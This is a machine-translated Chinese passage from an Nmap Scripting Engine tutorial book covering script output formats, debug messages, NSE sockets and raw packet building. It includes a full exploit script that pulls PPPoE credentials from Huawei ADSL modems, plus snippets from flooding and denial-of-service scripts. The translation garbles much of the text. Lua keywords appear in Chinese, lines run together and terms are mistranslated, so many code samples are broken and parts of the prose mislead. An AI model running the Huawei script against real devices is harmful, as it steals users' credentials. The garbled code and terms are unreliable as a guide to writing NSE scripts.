现在让我们仔细看看下一个代码块和对output_tab变量的赋值。
如果状态,那么
If version_num then output_tab.version = version_num
结束
If installation_path then output_tab.installation_path =
url.unescape(installation_path)。
结束
output_tab.password_properties = file else
return nil end
在上一区块中进行的变量分配如下。
output_tab.version = version_num
output_tab.installation_path = url.unescape(installation_path) output_tab.password_properties = file
正如你所看到的,这些赋值是对不存在的字段进行的,这在Lua中是可以接受的。每个字段名实际上也是用来构建输出表的。而在脚本执行的最后,我们必须简单地返回这个表,让NSE将其转化为正确的输出格式。
在这种情况下,脚本的正常输出是这样的。
端口状态服务原因
80/tcp openhttpsyn-ack http-coldfusion-subzero:
installation_path:C:\inetpub\wwwroot\CFIDE\adminapi\customtags版本:9
password_properties:#Fri Mar 02 17:03:01 CST 2012 rdspassword= password=AA251FD567358F16B7DE3F3B22DE8193A7517CD0
encrypted=true
在XML模式下产生的输出将看起来像下面这样。
<elem key="install_path"> C:\inetpub\wwwroot\CFIDE\adminapi\customtags</elem>
<elem key="version">9</elem>
<elem key="password_properties">#Fri Mar 02 17:03:01 CST 2012 rdspassword= password=AA251FD567358F16B7DE3 F3B22DE8193A7517CD0 encrypted=true </elem>
虽然这种方法对返回几行的脚本很有效,但我们可能需要用一种格式显示比另一种格式更多的信息。对于这些场合,我们将使我们的NSE脚本返回一个表格和一个字符串。表格将被用来生成XML输出,而字符串则用于正常模式。让我们研究一下这个功能的实现。
下面是http-title脚本的一个片段,特别是来自于
脚本,在那里输出被格式化并返回。
local output_tab = stdnse.output_table() output_tab.title = title output_tab.redirect_url = redirect_url
本地output_str = display_title if redirect_url then
output_str = output_str ... "\n" ... ("要求的资源是
%s"):format( redirect_url ) end
返回output_tab, output_str
注意在前面的代码块中我们是如何返回两个值的:一个输出表和一个输出字符串。额外的字段只有在发现重定向URL时才会被创建,所以我们将抓取维基百科的标题,它确实有一个重定向,以查看输出的差异。
$ nmap -p80 --script http-title wikipedia.org
前面的命令的输出如下。
港口国服务
80/tcp openhttp
| http-title:维基百科
|_请求的资源是http://www.wikipedia.org/
同一命令的XML输出如下。
$ nmap -p80 --script http-title -oX - wikipedia.org
<elem key="title">Wikipedia</elem>
<elem key="redirect_url">http://www.wikipedia.org/</elem>
重要的是,两种输出模式都包含相同的信息。然而,在正常模式下,可以接受更多的言语,更多的解释脚本的结果
(-oN),如前面所示的例子。
最后,让我们利用Lua的一些力量来设置一个methamethod for
tostring()函数来加强表格的输出格式。这种元数据表的高级用法适用于我们在处理嵌套表时,自动生成的制表缩进不够好的场合。
元方法是用setmetatable()定义的,它用重载的tostring()方法设置表作为对象的元方法。
本地r = { ip=ip_addr }
setmetatable(r, { tostring = function(t) return string.format("The IP address is:%s", t.ip) }
让我们来看看这个实现的一个例子。dns-brute脚本使用元方法来格式化主机信息的输出。下面的代码片段属于thread_main()函数。
本地函数 thread_main(domainname, results, name_iter) 本地 condvar = nmap.condvar( results )
for name in name_iter do
for _, dtype in ipairs({"A", "AAAA"}) do
local res = resolve(name.'.'.domainname, dtype) if(res) then
for _,addr in ipairs(res) do
local hostn = name.'.'.domainname if target.ALLOW_NEW_TARGETS then
stdnse.print_debug("Added target: " ...hostn) local status,err = target.add(hostn)
结束
stdnse.print_debug("Hostname: " ...hostn." IP: " ...addr) local record = { hostname=hostn, address=addr } setmetatable(record, {
tostring = function(t)
return string.format("%s -%s", t.hostname,
t.address)
结束
})
结果[#结果+1] =记录结束
结束 结束
end condvar("signal")
结束
在前面的代码块中,我们可以看到,实现起来并不像最初看起来那么复杂。第一行定义了表的结构,然后我们必须调用setmetatable函数来重载tostring()函数。
本地记录 = { hostname=hostn, address=addr } setmetatable(record, {
tostring = function(t)
return string.format("%s -%s", t.hostname,
t.address)
结束
})
结果[#results+1] =记录
此外,我们可以利用这一点在我们的表中实现一些安全检查,例如空检查。
local response = stdnse.output_table() if(#results==0) then
setmetatable(results, { tostring = function(t) return "No results." end })
结束
response["DNS Brute-force hostnames"] = results if(dosrv) then
如果(#srvresults==0)那么
setmetatable(srvresults, { tostring = function(t) return "No results." end })
结束
response["SRV结果"] = srvresults end
回应
正如预期的那样,在正常模式和XML模式下生成的输出将自动被正确格式化。我们唯一需要做的是提供我们自己的格式化字符串来重载我们的表对象中的tostring()方法。
正常的输出情况如下。
主机脚本结果。
| dns-brute。
|DNS强行主机名。
|mssql.0xdeadbeefcafe.com -xxx.xxx.xxx.xxx
|helpdesk.0xdeadbeefcafe.com -xxx.xxx.xxx.xxx
|_stage.0xdeadbeefcafe.com -xxx.xxx.xxx.xxx
以下是XML输出。
<table key="DNS Brute-force hostnames" >
<table>
<elem key="address">xxx.xxx.xxx.xxx</elem>。
<elem key="hostname">mssql.0xdeadbeefcafe.com</elem>。
</table>
<table>
<elem key="address">xxx.xxx.xxx.xxx</elem>。
<elem key="hostname">helpdesk.0xdeadbeefcafe.com</elem>。
</table>
<table>
<elem key="address">xxx.xxx.xxx.xxx</elem>。
<elem key="hostname">stage.0xdeadbeefcafe.com</elem>。
</table>
</table>
打印口令信息
如果你讨厌那些因为输出信息不足而停止工作的脚本,那么你需要在你的脚本中加入verbosity信息。这些信息的目的是告诉用户,在你的脚本工作的时候,幕后发生了什么。在解释当前任务的进展时,Verbosity信息应该是清晰和简明的。
stdnse库提供了verbose()函数来打印这些冗长的信息。
- 级别。这是打印信息所需的粗略程度。这个数字可以从1到9,但在实践中,大多数开发者只使用到3级。
- fmt: 这将输出一个正确格式化的信息。
- ...:这是用来格式化参数的。
格式化脚本输出
例如,只有在粗略程度高于以下的情况下,才会打印一个粗略的信息
2,我们使用以下代码。
local stdnse = require "stdnse"
...
for i,v in pairs(arr) do stdnse.verbose(2, "ID %d - %s", i, v)
结束
如果您需要在运行时获得口令级别,您可以调用Nmap的
verbosity()API函数。
本地nmap = 需要 "nmap"
...
如果(nmap.verbosity()>=2)
output_tab.extra_info = "一些额外的信息"
如果粗略程度为2或更高,stdnse.verbose()也将打印IP地址和端口信息(如果有的话)。
包括调试信息
调试信息可以使用stdnse库的debug()函数包含在NSE脚本中。这些信息只有在调试级别被设置为高于0的值时才会显示。
Debug(level, fmt, ...) 其中level。调试级别。 fmt: 格式化字符串。
...:格式参数。
为了在调试级别为1或更高时打印调试信息,我们使用以下代码。
stdnse.debug(1, "任务#%d完成。", id)
支持这个函数的想法是,我们可以做一些事情,如打印不同层次的信息,而不必编写嵌套代码。
stdnse.debug(1, "Response #%d received.", i) stdnse.debug(2, "Response status code: %d", req.status) stdnse.debug(3, "Response body: ", req.body)
在你所有的NSE脚本中提供一些调试信息是很重要的。这有助于人们找出出错的原因并提交错误报告。
扫描的调试级别是用-d[1-9]选项设置的。
$ nmap -d3 --script mybuggyscript <target>.
可搜索格式的弱点
很多人喜欢直接从命令行工作,他们更喜欢grepable输出格式,尽管它在很多年前就被废弃了。使用grepable格式的主要缺点是,NSE没有办法提供这种格式的输出。如果你需要处理NSE的结果,你需要坚持使用正常(-oN)、XML(-oX),甚至是脚本kiddie模式(-oS),因为它显示的信息与正常输出模式相同。
正常的输出情况如下。
港口国服务
80/tcp openhttp
|_http-title:去吧,ScanMe!
在grepable输出中(没有NSE信息),它看起来如下。
主机:74.207.244.221 (scanme.nmap.org)状态。Up 主机:74.207.244.221 (scanme.nmap.org)端口。80/过滤的/tcp//http//
关于在grepable模式下返回的字段的完整列表,你可以访问 官方文档:http://nmap.org/book/output-formats
-grepable-output.html。
如果你使用xmlstarlet等工具来选择XML元素和属性,你仍然可以在以XML格式工作时使用命令行。例如,要选择并打印所有具有smtp-open-relay ID的元素,你可以使用这个命令。
$ xmlstarlet sel -t -m '//script[@id="smtp-open-relay"]' -c .-n windows-network.xml
关于xpath语法的更多信息可以在http://www.w3.org/TR/xpath/#path-abbrev。
HTML报告中的NSE脚本输出
在将扫描结果保存为XML输出格式后,您可以在XSLT处理器的帮助下生成一份HTML报告。有几个可用的选项,但。
在UNIX中,最流行的选项是xsltproc。要使用它,我们只需将XML
扫描结果文件并设置输出文件名如下。
$ xsltproc <input xml file> -o <output file>.
$ xsltproc b33rcon.xml -o b33rcon.html
现在,生成的HTML文件可以简单地用你最喜欢的网页打开。
浏览器。在网络浏览器中的输出将看起来如下。
NSE脚本的输出将被包含在其相应的服务下面。需要注意的是,存储在这个HTML文件中的输出是取自正常的输出字符串,而包含它的HTML没有结构化的数据。如果你打算对结果进行解析,我建议坚持使用XML格式。
最后,记住您也可以通过添加--webxml选项让Nmap链接到XSL样式表的在线副本。
#nmap -F -oX scanme-nmap-org.xml --webxml scanme.nmap.org
该href样式表引用了以下链接。
<? xml-stylesheet href="https://svn.nmap.org/nmap/docs/nmap.xsl" type="text/xsl"?>
现代网络浏览器遵循严格的同源策略(SOP)限制,不允许在直接打开XML文件时加载XSL样式表。由于这个原因,使用XSLT处理器将XML结果转换为HTML以供查看更为实际。
摘要
在这一章中,您学到了所有您需要知道的关于NSE如何生成它的输出以及如何在您的脚本中正确构造它以充分利用可用的功能。我们回顾了Nmap中可用的输出格式,包括它们的优势和劣势。您现在应该能够为您可能面临的任何任务选择合适的输出格式。
最后,不要忘了在你的脚本中提供冗长和调试信息的重要性,并将信息分成最小的几块,以便让解析这些结果的用户更容易理解。
在下一章中,我们将看到原始数据包制作的例子,让我们准备好处理我们每天在网上看到的所有那些疯狂的通信协议。准备好用NSE冒险进入二进制字符串处理的深渊吧
使用网络套接字和二进制数据的工作
大多数NSE脚本需要与其他主机通信以读取或写入数据。Lua支持本地网络I/O操作,但是使用Nmap脚本引擎(NSE)提供的接口和库有几个好处。NSE套接字可以被编程为阻塞或非阻塞I/O操作,它们支持connect-style方法(当客户端打开一个连接,发送或接收数据,并关闭连接)和通过一个数据包捕获接口进行低级原始数据包处理。
Nsock (http://sock-raw.org/nmap-ncrack/nsock.html) 是一个Nmap库,旨在帮助开发者处理可并行的网络I/O操作。它被服务检测引擎使用,在Nmap执行的DNS操作中使用,当然也被NSE使用。NSE开发者在通过Nmap API库处理NSE套接字时不知不觉地使用Nsock。
还有一些非常有用的库,在处理网络套接字时,帮助NSE开发者处理、解析和执行二进制数据的操作。就前面提到的所有功能而言,NSE是一个强大的框架,可以在开发任何侦察工具、管理工具或网络漏洞时使用。在渗透测试活动中,使用NSE而不是从头开始编写自定义脚本,为我节省了无数的时间,而且我最终得到了比原来计划更灵活的脚本。我强烈建议你不仅要仔细阅读本节内容,还要练习使用这里描述的功能编写NSE脚本。
在本章中,你将学习如何。
- 与NSE插座一起工作
- 在NSE中使用原始套接字
- 向网络插座读写二进制数据
- 在以太网和IP层制作数据包
- 篡改原始数据包
启动你最喜欢的流量分析工具,让我们开始与其他主机进行对话。
网络。
使用NSE插座的工作
我们强烈建议你在创建自己的脚本时,坚持使用NSE套接字进行网络I/O操作。所涉及的库已经过全面的测试,并将在不同的平台上统一工作。NSE套接字的内部处理
由Nsock库提供,它通过执行非阻塞的I/O操作提供了透明的并行性等优势。当程序员决定使用看似阻塞的调用时,后台的NSE只是在一定时间后发射一个回调,这样他们就不会完全阻塞脚本。
NSE套接字可以以两种不同的方式使用。使用经典的connect风格的套接字,打开连接,发送或接收数据,并关闭连接;使用强大的Libpcap接口来处理原始数据包。在这两种情况下,Nsock都负责通过nmap NSE库(http://nmap. org/nsedoc/lib/nmap.html)在内部处理它们。
最后,在开发执行网络I/O的脚本时,不要忘记使用Nmap的-包-跟踪选项。它在调试Nsock调用时返回有价值的信息。
# nmap -e eth0 --script broadcast-ping --packet-trace
NSOCK INFO [0.0460s] nsi_new2(): nsi_new (IOD #1)
NSOCK INFO [0.0460s] nsock_pcap_open()。在设备'eth0'上请求PCAP,伯克利过滤器'dst host 192.168.132.133 and icmp[icmptype]==icmp-echoreply' (promosc=0 snaplen=104 to_ms=200) (IOD #1)
NSOCK INFO [0.0460s] nsock_pcap_open():在设备'eth0'上成功创建了PCAP(cap_desc=5 bsd_hack=0 to_valid=1 l3_offset=14)(IOD #1)
NSOCK INFO [0.0470s] nsock_pcap_read_packet():来自IOD #1EID13的Pcap读取请求
NSOCK INFO [0.0470s] nsock_trace_handler_callback():回调。EID 13的READ-PCAP SUCCESS
NSOCK INFO [0.0470s] nsock_pcap_read_packet()。来自IOD #1EID21的Pcap读取请求
NSOCK INFO [3.0480s] nsock_trace_handler_callback()。回调。EID 21的READ-PCAP TIMEOUT
NSE: > | CLOSE
NSOCK INFO [3.0480s] nsi_delete(): nsi_delete (IOD #1) 预扫描脚本结果。
| 广播平。
|IP: 192.168.132.2MAC:00:50:56:ed:4e:41
|_使用 --script-args=newtargets将结果添加为目标 警告:没有指定目标,所以扫描了0台主机。
Nmap完成了。在3.05秒内扫描了0个IP地址(0台主机)。
创建一个NSE插口
让我们来创建我们的第一个NSE套接字。首先,在你的脚本中导入nmap库,然后按如下方式启动该对象。
--nse_sockets_1.nse。我们的第一个NSE套接字。
--加载库 "nmap" local nmap = require "nmap"
--主要功能
action = function(host, port) local socket = nmap.new_socket()
结束
nmap.new_socket()函数可以接受以下参数。
- 协议。这是定义协议的字符串。支持的方法
是tcp、udp和ssl。
- af:这是定义地址族的字符串。支持的地址
族是inet和inet6。
调用nmap.new_socket()时没有参数,默认协议为tcp,inet为地址族。同样,要创建一个UDP套接字,我们将使用udp字符串作为协议参数。
local udp_socket = nmap.new_socket("udp")
使用NSE套接字连接到主机
通过调用你的NSE套接字对象的connect()函数连接到主机。
local status, error = socket:connect(host, port)
第一个返回值是一个布尔值,代表操作的状态。如果操作成功,它等于真,否则等于假。第二个值将是nil,除非发生了错误,在这种情况下,它将包含错误字符串。我们可以用它来在我们的脚本中进行一些合理性检查。让我们用之前的例子,nse_sockets_1.nse,来说明tses检查。
--nse_sockets_1.nse。我们的第一个NSE套接字。
--加载图书馆nmap local nmap = require "nmap"
--主要功能
action = function(host, port) local socket = nmap.new_socket()
local status, error = socket:connect(host, port) if(not(status)) then
stdnse.print_debug(1, "无法建立一个连接。
退出。")
return nil end
结束
或者,我们可以用NSE的错误处理机制。参见第4章,探索Nmap脚本引擎API和库,以学习如何在您的网络I/O任务中实现异常处理。
connect()函数可以返回以下错误字符串,对应于NSE和C函数gai_sterror()返回的错误代码。
- 对不起,你没有OpenSSL
- 无效的连接方法
- 不支持主机名的地址族(EAI_ADDRFAMILY)。
- 名称解析暂时失败(EAI_AGAIN)。
- ai_flags的坏值(EAI_BADFLAGS)。
- 名称解析中不可恢复的失败(EAI_FAIL)。
- 不支持ai_family(EAI_FAMILY)。
- 内存分配失败(EAI_MEMORY)。
- 没有与主机名相关的地址(EAI_NODATA)。
- 名称或服务不详(EAI_NONAME)。
- ai_socktype(EAI_SERVICE)不支持Servname。
- 不支持ai_socktype(EAI_SOCKTYPE)。
- 系统错误 (EAI_SYSTEM)
关于返回的错误的更多信息可以在gai_strerror函数的主 页面找到。
$ man gai_strerror
使用NSE套接字发送数据
NSE套接字对象支持send()函数,用于在一个已建立的连接上传输数据。这个函数的唯一参数是要发送的数据字符串。
status, error = socket:send("Hello Nmaper!" )
第一个返回值是一个布尔值,表示操作的状态。如果操作失败,第二个返回值将包含一个错误字符串。可以返回的错误字符串是:。
- 试图通过一个封闭的套接字发送
- 超时
- 错误
- 取消了
- 杀人
- EOF
nmap库还提供了一种通过sendto()函数向一个未连接的套接字发送数据的方法。由于没有目标地址,我们需要在每次调用sendto()时提供一个地址。
status, error = socket:sendto(host, port, payload)
同样,第一个返回值是一个代表操作状态的布尔值;如果操作失败,第二个返回值将是一个错误字符串。下面的代码是broadcast-avahi-dos脚本的一个片段,其中sendto()函数被用来在一个未连接的套接字上传输一个空的UDP包。
avahi_send_null_udp = function(ip) local socket = nmap.new_socket("udp")
local status = socket:sendto(ip, 5353, "" )
...
返回状态 结束
sendto()返回的错误字符串与send()返回的错误字符串相同,但与通过关闭的套接字发送数据有关的错误除外。
使用NSE套接字接收数据
nmap库有receive()、receive_buf()、receive_bytes()和receive_lines()函数,用于通过NSE套接字接收数据。让我们概述一下这些函数,以便你能为你的脚本选择正确的函数。所有这些方法的第一个返回值都是表示操作状态的布尔值,第二个返回值是数据或错误字符串(如果操作失败)。
receive()函数不需要任何参数,但请记住,这个方法必须在一个开放的套接字上执行。
status, data = socket:receive()
receive_buf()方法用于读取数据,直到找到指定的分隔符。它需要两个参数。
- 分隔符。是指要匹配的模式或函数
- keeppattern。这决定了定界符是否应包括在响应数据中。
让我们从一个套接字中读取数据,直到找到</users>字符串的分隔符。
status, response = socket:receive_buf("</users>", true)
如果我们知道我们正在寻找的响应有一定的长度,我们应该使用receive_bytes()。这个方法把要读取的最小字节数作为唯一的参数。
status, data = socket:receive_bytes(5)
如果有更多的字节到达或没有达到最小值,数据也将被存储。receive_lines()方法的工作原理与此类似,只需给出预期的行数作为主参数。记住,行是以新行字符(\n)为界的任何数据字符串。
status, data = socket:receive_lines(3)
关闭NSE插座
关闭NSE套接字和关闭其他脚本语言中的网络套接字一样简单,我们只需要调用close()函数即可。使用NSE的错误处理机制的好处是,我们可以在一个catch风格的语句中调用这个函数,以产生更容易阅读的脚本。
本地s = nmap.new_socket()
try = nmap.new_try(function() s:close() end) try(s:connect(host, port))
try(s:send("Hello Nmaper!") data = try(s:receive() ) s:close()
参见第4章,探索Nmap脚本引擎API和库,以获得更多关于用Nmap API优雅地处理异常的信息。
脚本示例--发送一个存储在
通过一个NSE套接字的文件
下面的脚本说明了如何通过NSE套接字发送一个存储在文件中的有效载荷。有些部分被删除了,以集中在与I/O任务相关的方法上。这个脚本创建了一个UDP连接来发送一个存储在文件中的有效载荷。发送的有效载荷在脆弱的设备中产生一个响应,该响应被解析并显示在结果中。这是一个使用连接方式的NSE脚本的完美例子
来在网络上发送和接收信息。这个脚本也可以在https://github.com/cldrn/nmap-nse-scripts/blob/master/scripts/6.x/ huawei5xx-udp-info.nse找到。总之,这里是该脚本。
描述=[[]
试图获取ADSL调制解调器的PPPoE证书、MAC地址、固件版本和IP信息。
华为Echolife 520, 520b, 530和可能的其他产品,通过UDP利用信息泄露漏洞。
该脚本通过向43690端口发送一个精心制作的UDP数据包,然后解析包含以下内容的响应。
的配置值。据报道,这个漏洞在一些ISP中被封锁,在这些情况下,这个漏洞在本地网络中似乎可以正常工作。
参考文献。
* http://websec.ca/advisories/view/Huawei-HG520c-3.10.18.x
-信息披露
]]
作者="Paulino Calderon <calderon@websec.mx>"
license = "Same as Nmap--See http://nmap.org/book/man-legal.html" categories = {"intrusive", "vuln"}.
local stdnse = require "stdnse" local io = require "io"
本地短端口 = 需要 "短端口"
HUAWEI_UDP_PORT=43690
PAYLOAD_LOCATION="nselib/data/huawei-udp-info"
portrule = shortport.portnumber(HUAWEI_UDP_PORT, "udp", {"open", "open|filtered", "filtered"})
load_udp_payload = function()
local payload_l = nmap.fetchfile(PAYLOAD_LOCATION) if (not(payload_l)) then
stdnse.print_debug(1, "%s:无法定位有效载荷%s", SCRIPT_NAME, PAYLOAD_LOCATION)
返回结束
local payload_h = io.open(payload_l, "rb") local payload = payload_h:read("*a")
如果(not(payload))那么
stdnse.print_debug(1, "%s:无法加载有效载荷%s", SCRIPT_NAME, payload_l)
如果nmap.verbosity()>=2,那么
返回 "[Error] Couldn't load payload" end
返回结束
payload_h:flush() payload_h:close() return payload
结束
---
-- send_udp_payload(ip, timeout)。
-- 向端口发送有效载荷并返回响应。
---
send_udp_payload = function(ip, timeout, payload) local data
stdnse.print_debug(2, "%s:发送UDP有效载荷", SCRIPT_NAME) local socket = nmap.new_socket("udp") socket:set_timeout(tonumber(timeout))
local status = socket:connect(ip, HUAWEI_UDP_PORT, "udp") if (not(status)) then return end
status = socket:send(payload) if (not(status)) then
socket:close() return
结束
status, data = socket:receive() if (not(status)) then
socket:close() return
end socket:close() return data
结束
---
--MAIN
---
action = function(host, port)
local timeout = stdnse.get_script_args(SCRIPT_NAME.".timeout") or 3000
local payload = load_udp_payload()
local response = send_udp_payload(host.ip, timeout, payload) if response then
return parse_resp(response) end
结束
了解先进的网络I/O
Nsock的另一个强大的功能是用Libpcap的包装器来处理原始数据包的能力。Libpcap为用户级的数据包捕获提供了一个框架,它是独立于平台的,而且非常强大。需要接收原始数据包或向IP和以太网层发送数据包的NSE开发者可以通过Nmap API实现。
在本节中,我们将学习用于接收原始数据包的 pcap_open、cap_register 和 pcap_ receive 方法,以及用于发送原始帧的 ip_open、ip_send、ip_close、ethernet_open、ethernet_send 和 ethernet_close。
打开一个套接字用于原始数据包捕获
处理原始数据包的第一步是打开一个NSE套接字。导入nmap库,用new_socket创建一个普通的NSE套接字。然后调用 pcap_open 方法。
本地nmap = 需要 "nmap"
...
本地 socket = nmap.new_socket() socket:cap_open("eth0", 64, false, "tcp")
pcap_open方法接受以下参数。
- 设备。这是一个dnet风格的接口
- snaplen: 这是数据包的长度
- promisc:这是一个布尔值,表示是否应将接口置于混杂模式。
- bpf。这是bpf(Berkeley Packet Filter)字符串表达式
要了解更多关于dnet的信息,请输入这个。
$ man dnet
运行中的接口可以用nmap.get_interface()方法获得,或者用nmap.list_interfaces()获得所有的接口。我们来看看一个例子。下面这个方法,getInterfaces,定义在broadcast-dhcp的
-discover脚本获得一个列表并过滤可用的接口。
-- 根据链接和上行过滤器获取可用接口的列表
--
-- @param link字符串,包含要过滤的链接类型
-- @param up字符串,包含要过滤的接口状态
-- @返回包含匹配接口的结果表 local function getInterfaces(link, up)
if( not(nmap.list_interfaces) ) then return end local interfaces, err = nmap.list_interfaces() local result
如果 ( not(err)) 那么
for _, iface in ipairs(interfaces) do
If ( iface.link == link and iface.up == up ) then result = result or {}.
结果[iface.device] = true
结束
结束
结束
返回结果 结束
脚本首先检查是否有一个运行中的接口被正确检测到,并以
nmap.get_interface;如果没有,它就调用我们的getInterfaces()方法。
--首先检查用户是否提供了一个接口 if ( nmap.get_interface() then
接口 = { [nmap.get_interface()] = true }
否则
interfaces = getInterfaces("ethernet", "up")
结束
接收原始数据包
一旦我们打开了一个NSE套接字,并将其设置为接收原始数据包,我们就可以使用pcap_receive()方法来获取捕获的数据包。像往常一样,第一个返回值将是一个表示操作状态的布尔值。如果操作成功,该方法将返回数据包的长度、OSI第二层和第三层的数据,以及数据包捕获时间。如果操作失败或超时,错误信息将作为第二个返回值返回。
status, len, l2_data, l3_data, time = socket:pcap_receive()
下面的片段显示了eap库如何接收原始数据包并处理它们以响应身份请求。
pcap:cap_open(iface.device, 512, true, "ether proto 0x888e")
...
local _, _, l2_data, l3_data, _ = pcap:cap_receive() local packet = eap.parse(l2_data ... l3_data3)
如果数据包,那么
如果packet.eap.type == eap.eap_t.IDENTITY andpacket.eap.code
==eap.code_t.REQUEST 则
eap.send_identity_response(iface, packet.eap.id, "anonymous")
结束 结束
向/从IP和以太网层发送数据包
向/从IP和以太网层发送数据包需要一个与读取原始数据包不同类型的套接字对象。幸运的是,在NSE中,这个程序与面向连接的套接字的工作非常相似。
必须使用nmap.new_dnet()方法来创建这种套接字对象。然后,必须通过调用ip_ open()或ethernet_open()分别获得用于处理IP或以太网帧的句柄。获得句柄后,我们可以调用发送原始数据包的方法:ip_send()和ethernet_send()。最后,我们必须用ip_close()或ethernet_close()关闭套接字。
ip_send()方法需要两个参数:一个IPv4或IPv6数据包和作为主机表或字符串的目标地址。
dnet:ip_send(packet, dst)
ethernet_send()方法只接受一个参数,即要发送的原始以太网帧。
dnet:ethernet_send(packet)
以下是在eap库内声明的一个方法。它负责创建和发送EAP身份响应数据包。它说明了如何打开一个原始套接字对象来发送以太网帧。
send_identity_response = function (iface, id, identity) if not iface then
stdnse.print_debug(1, "no interface given") return
结束
local dnet = nmap.new_dnet()
本地 tb = {src = iface.mac, type = eapol_t.PACKET}。
Local response = make_eap{header = tb, code = code_t.RESPONSE, type = eap_t.IDENTITY, id = id, payload = identity}。
dnet:ethernet_open(iface.device) dnet:ethernet_send(response) dnet:ethernet_close()
结束
操纵原始数据包
现在必须提到bin和packet NSE库,因为它们支持的方法在处理原始数据包和一般的网络I/O操作时很有用。在这一节中,我们将了解二进制数据字符串、库所支持的方便的转换以及原始数据包和帧的生成。
打包和解包二进制数据
一旦你开始从事网络I/O操作,你会很快意识到
需要对二进制数据字符串进行正确编码。NSE有bin库(http://nmap. org/nsedoc/lib/bin.html),帮助我们打包和解压格式化的二进制数据字符串。这个库只包含pack()和unpack()方法。我们将学习它们的灵活性和实用性。
以下是库所支持的操作符。
- H:H代表一个十六进制字符串
- B:B代表一个比特串
- x:x代表一个空字节
- z: z代表一个以零结尾的字符串
- p:p代表一个字符串,前面有一个1字节的整数长度。
- P:P代表一个字符串,前面有一个2字节的整数长度
- a:a代表一个字符串,前面有一个4字节的整数长度
- A:A代表一个字符串
- f:f代表一个浮点数
- d:d代表一个双数
- n:n代表一个Lua数字
- c:c代表一个char(1字节的整数)。
- C C字节=代表一个无符号字符(1字节无符号整数)。
- s:s代表一个短整数(2字节的整数)。
- S:S代表一个无符号短整数(2字节无符号整数)。
- i:i代表一个整数(4字节整数)。
- I:I代表一个无符号整数(4字节无符号整数)。
- l:l代表一个长整数(8字节的整数)。
- L:L代表一个无符号长整数(8字节无符号整数)。
- < : <代表小恩典的修饰语
- > :> 代表一个大endian的修饰符
- =: =代表一个本地的endian修改器
pack()方法用于获得一个由字符运算符格式化的二进制打包字符串,并由运算符重复格式化给定参数。让我们看一下它的一些使用例子,了解它的方便性。pack(format, p1, p2, ...) 函数的参数如下。
- 格式。格式字符串
- p1,p2,......。价值
在第6章 "开发强制密码审计脚本 "中显示的mikrotik-routeros-brute脚本中,我们创建了包含对Mikrotik API的登录查询的数据包。
local login_pkt = bin.pack("cAcAcAx", 0x6, "/login", 0x0b, "=name=".username, 0x2c, "=response=00".chksum)
在前面的片段中,字符串中使用的字符操作符是c、A和x,分别用于格式化char(1字节)、string和null字节。同样,cAx格式的字符串定义了一个字符字节,后面是一个字符串,最后是一个空字节。
网络I/O操作需要你经常处理协议的字节性。bin.pack()方法也非常适合这些情况。下面一行将Big-endian修改器应用于二进制有效载荷。
local bin_payload = bin.pack(">A",arg.payload)
同样,bin.unpack()方法也可以用来从二进制数据字符串中提取数值。
本地pos, len = bin.unpack(">S", data)
bin.unpack()方法的第一个返回值是停止解包的位置,以允许对该方法的后续调用。unpack()方法的参数如下。
- 格式。格式字符串
- 数据。输入二进制数据字符串
- init:字符串中的起始位置
让我们看看一个方法,它使用bin.unpack从一个从数据包中获得的二进制数据串中提取某些信息。请注意它是如何通过跟踪返回的位置值来遍历数据串的。为了保持简明,我们删除了一些行。
函数 decodeField( data, pos ) 本地 header, len
当地的def,_当地的field = {}
pos, len = bin.unpack( "C", data, pos )
pos, field.catalog = bin.unpack("A" ... len, data, pos)/pos.
...
-- 应该是0x0C
pos, _ = bin.unpack( "C", data, pos )
--字符集,在我的例子中是0x0800
pos, _ = bin.unpack( "S", data, pos )
pos, field.length = bin.unpack( "I", data, pos ) pos, field.type = bin.unpack( "A6", data, pos )
返回 pos, field
结束
文件指出,在Windows平台上,打包值大于263会导致结果被截断为263。
构建以太网框架
NSE有一个名为packet(http://nmap.org/nsedoc/lib/packet.html)的库,它有与操作原始数据包有关的各种方法,从用于建立框架和头文件以及计算校验和的方法,到用于获得数据包的字符串表示法。如果你发现自己需要将一个字符串转换为点状的IP地址,你很可能会使用这个库。
数据包库有一些方法,可以用来构建以太网、ICMP和ICMPv6帧,以及IPv4和IPv6数据包。所有这些情况下的构建过程都非常相似。
- 首先,我们创建数据包对象。
- 然后我们设置一些字段,如来源、目标地址和其他。
- 最后,我们建立报头和数据包或帧。
然后用本章前面讨论的ip_send()或ethernet_send()方法发送生成的数据包,在向/从IP和以太网层发送数据包一节中。
让我们来看看建立一个以太网帧的过程。首先,像往常一样,我们包括我们的库并初始化我们的数据包对象。
本地数据包=需要 "数据包"
...
本地pckt = packet.Frame:new()
现在我们可以选择直接访问这些字段或者通过库中的setter方法来访问。让我们看看ipv6-ra-flood.nse脚本是如何建立一个ICMPv6帧的。
...
local src_mac = packet.mactobin(random_mac() ) local src_ip6_addr = packet.mac_to_lladdr(src_mac)
local prefix = packet.ip6tobin(get_random_prefix() ) local packet = packet.Frame:new()
packet.mac_src = src_mac packet.mac_dst = dst_mac packet.ip_bin_src = src_ip6_addr packet.ip_bin_dst = dst_ip6_addr
local icmpv6_payload = build_router_advert(src_mac, prefix, prefix_len, valid_time, preffered_time, mtu) packet:build_icmpv6_header(134, 0, icmpv6_payload)
packet:build_ipv6_packet() packet:build_ether_frame()
...
现在我们来看看一个不同的例子。接下来显示的make_eapol()方法,使用库中的数据包来创建一个新的数据包对象,设置不同的字段,并建立一个以太网帧。
本地make_eapol = function (arg)
如果不是arg.type,那么arg.type = eapol_t.PACKET end 如果不是arg.version,那么arg.version = 1 end
如果不是arg.payload,那么arg.payload = "" end 如果不是arg.src,那么返回nil end
local p = packet.Frame:new() p.mac_src = arg.src
p.mac_dst = packet.mactobin(ETHER_BROADCAST) p.ether_type = ETHER_TYPE_EAPOL
local bin_payload = bin.pack(">A",arg.payload)
p.buf = bin.pack("C",arg.version) ... bin.pack("C",arg.type) ... bin.pack(">S",bin_payload:len()) bin_payload
p:build_ether_frame() return p.frame_buf
结束
原始数据包处理和NSE套接字
你现在已经熟悉了NSE套接字和原始数据包处理。现在我们将
回顾一下我们在本章中看到的所有东西在一个脚本中一起工作的例子。下面的脚本,broadcast-dhcp-discover.nse,说明了面向连接的套接字、原始数据包的接收、操作和帧的构建的用法。密切注意bin.pack()、cap_receive()和sendto()方法的调用,以及在脚本执行期间进行错误检查的辅助函数。
脚本一开始就声明了它的库依赖关系和所需的脚本字段,如
作为描述、作者和类别。
本地bin = require "bin"
local coroutine = require "coroutine" local dhcp = require "dhcp"
local ipOps = require "ipOps" local math = require "math" local nmap = require "nmap" local packet = require "packet"
使用网络套接字和二进制数据的工作
